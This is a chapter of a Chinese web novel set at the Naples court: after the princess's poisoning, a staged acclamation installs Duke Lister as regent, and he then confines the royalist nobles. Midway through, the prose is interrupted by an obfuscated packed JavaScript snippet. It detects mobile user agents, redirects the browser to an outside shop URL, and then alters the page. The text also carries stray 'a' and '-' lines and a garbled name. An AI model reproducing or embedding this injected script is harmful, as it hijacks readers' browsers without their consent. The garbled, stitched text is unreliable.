“砰——!”
那扇由整块橡木制成的、通往侧殿的厚重门扉,被最后一名撤入的刺客,从内部,死死地,关上了。
巨大的门栓落下的声音,在死寂了一瞬的大厅里,清晰可闻,如同为一场荒诞的闹剧,敲响的、最后的丧钟。
那扇门,像一道冰冷的、无法逾越的界碑。
它彻底地,隔绝了生与死。
隔绝了希望与绝望。
也隔绝了,过去与未来。
门外,是属于胜利者的、即将开启的狂欢。
门内,是属于女王的、即将开始的复仇。
随着这道门的关闭,宴会厅内那刚刚因“紧急抢救”而建立起来的、脆弱的秩序,瞬间,再次崩塌。
残存的、为数不多的王室支持者们,在意识到公主那最后一线虚无缥缈的生机也已彻底断绝后,终于,完全地,崩溃了。
一位白发苍苍的老伯爵,双腿一软,直接瘫倒在地。他那张布满了皱纹的脸,因为极度的悲恸而扭曲,浑浊的老泪从他的眼眶中不断涌出,口中只是喃喃地、反复地念着同一句话。
“完了……王国……完了……”
他的声音沙哑,绝望,像一片在寒风中被反复揉搓的、枯萎的落叶。
a
另一边,一位年轻的男爵夫人,再也无法承受这巨大的精神冲击,她发出一声短促而凄厉的尖叫,随即双眼一翻,当场昏厥了过去,倒在了她同样面如死灰的丈夫怀里。
整个宴会厅,在这一刻,彻底变成了一锅煮沸的、充满了哀嚎、哭泣、尖叫与不知所措的、混乱的浓汤。
而在这片混乱的背景音之下,另一拨人,则上演着截然不同的戏码。
公爵派的贵族们,在经历了最初的、条件反射般的震惊后,一种压抑不住的、扭曲的狂喜,开始如同藤蔓般,迅速地爬满他们的脸庞。
贵族孔肖吟用她那缀满了孔雀羽毛的扇子,死死地掩住自己的下半张脸,但她那双因为兴奋而剧烈收缩的瞳孔,和那不受控制地、不断耸动的肩膀,却早已将她内心的狂笑,暴露无遗。
莫寒伯爵则下意识地舔了舔自己干涩的嘴唇,他那双充血的眼睛,如同最贪婪的饿狼,死死地盯着那些因绝望而瘫软在地的王室派贵族,仿佛在盘算着,该从哪一块最肥美的猎物开始下口。
a
而陆婷侯爵,作为这场毒杀计划的“武器提供者”,更是长长地、舒畅地,吐出了一口气。
她看着那扇紧闭的侧殿大门,感觉自己就像一个终于完成了毕生杰作的雕塑家,心中充满了无与伦比的、病态的成就感。
她的目光,转向了那个站在人群后方,一直冷眼旁观着一切的男人。
李斯特公爵。
她知道,从这一刻起,这个男人,将成为这个王国,唯一的,也是绝对的主人。
而她,将作为他最得力的臂助,分享这份至高无上的荣耀。
就在这片混乱与狂喜交织的、即将彻底失控的顶点。
-
一个沉稳的、洪亮的、带着一丝恰到好处的悲痛与威严的声音,突然响彻了全场。
“都安静!”
这声音不大,却像一把精准的、沉重的铁锤,狠狠地,敲打在每一个人的心脏之上。
那混乱的噪音,奇迹般地,迅速地,平息了下去。
所有人都下意识地,循着声音的来源望去。
他们看到,侯爵黄婷婷,不知在何时,已经走到了大厅的中央。
他的脸上,带着一种“深明大义”的、令人信服的沉痛。
他先是向着侧殿那扇紧闭的大门,遥遥地,行了一个标准的、无可挑剔的抚胸礼,以示对“亡故”公主的哀悼。这个动作,为他接下来的发言,奠定了一个充满了“正义性”与“悲悯心”的基调。
然后,他转过身,用一种充满了“责任感”的、沉重的目光,扫视着在场的每一个人。
-
“女士们,先生们!”
黄婷婷开口了。
他的声音,在这死寂的大厅里,显得异常清晰。
“我理解各位此刻的悲痛与恐慌。公主殿下的不幸离世,是整个那不勒斯王国,最沉重的、无法挽回的损失。”
他的语气,是如此的真诚,如此的充满了共情,以至于连那些瘫倒在地的王室派老臣们,都下意识地,停止了哭泣,用一种夹杂着迷茫与依赖的眼神,抬头看向他。
他们希望,能从这位向来以稳重著称的侯爵口中,得到一丝指引。
黄婷婷没有让他们失望。
“但是!”
他的话锋,猛然一转,声音也随之变得高亢而有力,如同教堂的晨钟,瞬间驱散了人们心中的迷雾与软弱。
“越是在这样悲痛的时刻,我们就越不能失去秩序!越不能让王国,陷入真正的混乱!”
“公主殿下已经离我们而去,她未竟的、守护这个王国的遗志,需要有人来继承!那不勒斯,不能就此沉沦!”
他停顿了一下,让这充满了煽动性的话语,在每个人的心中,发酵。
随即,他用一种近乎于呐喊的声音,说出了那句所有野心家都想说,却又不敢第一个说出口的话。
“国不可一日无主!”
这五个字,如同一道惊雷,在所有人的头顶,轰然炸响。
它让公爵派的贵族们,精神为之一振,眼中爆发出炙热的光芒。
也让王室派的遗老们,心头猛地一沉,脸上最后一丝血色,也随之褪去。
他们知道,最可怕的时刻,终于来了。
“我们,需要一位新的领导者!”黄婷婷继续他的演讲,他的声音,充满了不容置疑的力量,“一位有足够的能力、足够的威望、足够的智慧,来带领我们,度过这最艰难的时刻!带领那不勒斯,走向新的辉煌!”
说到这里,他再次停顿。
随即,他转过身,张开手臂,将所有人的目光,都如同牵引线一般,引向了那个一直站在人群后方,沉默不语,仿佛置身事外的男人。
-
李斯特公爵。
黄婷婷的脸上,露出一种“理所当然”的、充满了“期盼”与“崇敬”的神情。
他向着李斯特公爵,深深地,深深地,鞠了一躬,姿态谦卑到了极点。
然后,他用一种足以让整个大厅都听到的、无比恳切的、近乎于哀求的声音,高声“请求”道。
“公爵大人!在此危难之际,放眼整个那不勒斯,只有您,拥有这样的资格!”
“我,黄婷Tingting,以我家族的百年荣誉起誓,恳请您,站出来,主持大局!为了那不勒斯的未来!”
这番话,如同一颗投入平静湖面的巨石,瞬间激起了千层巨浪。
陆婷侯爵第一个反应了过来,她立刻上前一步,附和道:“没错!黄婷Tingting侯爵所言极是!如今的局面,只有公爵大人能力挽狂澜!”
莫寒伯爵也瓮声瓮气地吼道:“请公爵大人担任摄政王!”
“请公爵大人担任摄政王!”
“请公爵大人担任摄政王!”
在陆婷、莫寒、孔肖吟等人的带领下,整个公爵派系的贵族们,都如同排练了无数遍一般,整齐划一地,向着李斯特公爵,单膝跪下。
他们的声音,汇成一股巨大的声浪,冲击着宴会厅的穹顶,也冲击着每一个幸存者那早已脆弱不堪的神经。
在所有人的注视下,在这一片“万众归心”的狂热氛围中,李斯特公爵,终于,缓缓地,从人群的阴影中,走了出来。
他的脸上,依旧带着那副“沉痛”而“坚毅”的表情,仿佛对眼前这突如其来的“拥戴”,感到万分的“为难”与“沉重”。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17179218|196936||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他先是抬手,虚扶了一下,示意众人起身。
他的声音,带着一丝恰到好处的沙哑与疲惫。
“各位的心意,我心领了。但公主殿下尸骨未寒,此刻谈论此事,实在是对她的大不敬。”
他的眼中,甚至还挤出了一丝虚假的、悲悯的湿润。
“况且,我李斯特德薄能鲜,实在难以担此重任。王国的未来,还需从长计议。”
他推辞了。
推辞得如此“真诚”,如此“大度”,如此“不贪恋权位”。
这番表演,让那些本就支持他的贵族,愈发的狂热。
黄婷婷见状,立刻再次上前“苦谏”。
“公爵大人!此言差矣!正是因为公主殿下刚刚离世,王国才更需要您这样强有力的臂膀来支撑,才不至于分崩离析啊!您若推辞,才是将王国置于真正的险境,这恐怕也不是公主殿下在天之灵愿意看到的!”
“是啊,公爵大人!您就不要再推辞了!”陆婷也接口道,她的声音里带着一丝“焦急”,“除了您,我们谁也不服!”
“请公爵大人以大局为重!”
“请公爵大人为那不勒斯万千子民着想!”
在一片又一片“苦苦哀求”的声浪中,李斯特公爵,终于,仿佛是“万不得已”般,长长地,长长地,叹了一口气。
那声叹息,充满了“无奈”,充满了“牺牲”,也充满了“为国分忧”的“大义凛然”。
“唉……”
他缓缓地抬起头,目光扫过在场的每一个人,那眼神,已经带上了一丝属于君主的、不容置疑的威严。
“既然,这是大家的意思……”
他缓缓地说道,每一个字,都仿佛重若千斤。
“那么,我,李斯特,便暂且,担下这份重任。即刻起,以摄政王之名,代管那不勒斯一切事务,直到选出新的继承人为止。”
他答应了。
在这一瞬间,宴会厅内,那所剩无几的、属于旧王室的哀鸣,被彻底的掐断。
取而代之的,是山呼海啸般的、属于新时代的欢呼。
“摄政王万岁!”
“那不勒斯万岁!”
李斯特公爵缓缓抬手,示意众人安静。
他转身,看了一眼那扇紧闭的侧殿大门,眼中闪过一丝无人察觉的、冰冷的嘲弄。
随即,他下达了作为“摄政王”的第一道命令。
“来人。”
他早已安排在宴会厅外的、属于他自己的亲信卫队,立刻推门而入。
他们身着精良的黑色甲胄,与殿内那些衣着华丽的贵族,形成了鲜明的对比。
他们的出现,也宣告着,这座宫殿,已经彻底易主。
“传我命令。”李斯特公爵的声音,变得冷酷而威严。
“为公主殿下举行最高规格的国葬。所有支持王室的臣子,都心伤过度,即刻起送回府邸‘静养’,无我手令,不得外出。”
这所谓的“静养”,便是彻彻底底的软禁。
他用一道命令,便将所有残存的、潜在的反对力量,都彻底剥夺了自由。
“遵命!”
卫队长单膝跪地,领命而去。
很快,那些哭倒在地的王室派老臣,便被卫兵们“客气”地,“搀扶”着,带离了宴会厅。
-
他们的挣扎与怒骂,在这片属于胜利者的狂欢中,显得如此的苍白,如此的无力。
做完这一切,李斯特公爵才终于,再次转身,看向那扇紧闭的、仿佛隔绝了两个世界的侧殿大门。
他的脸上,终于,再也无法掩饰那发自内心的、毫无保留的、属于胜利者的笑容。
他知道,舞台,现在已经清空。
聚光灯,已经打亮。
而他,将是这场盛宴上,唯一的,也是最后的主角。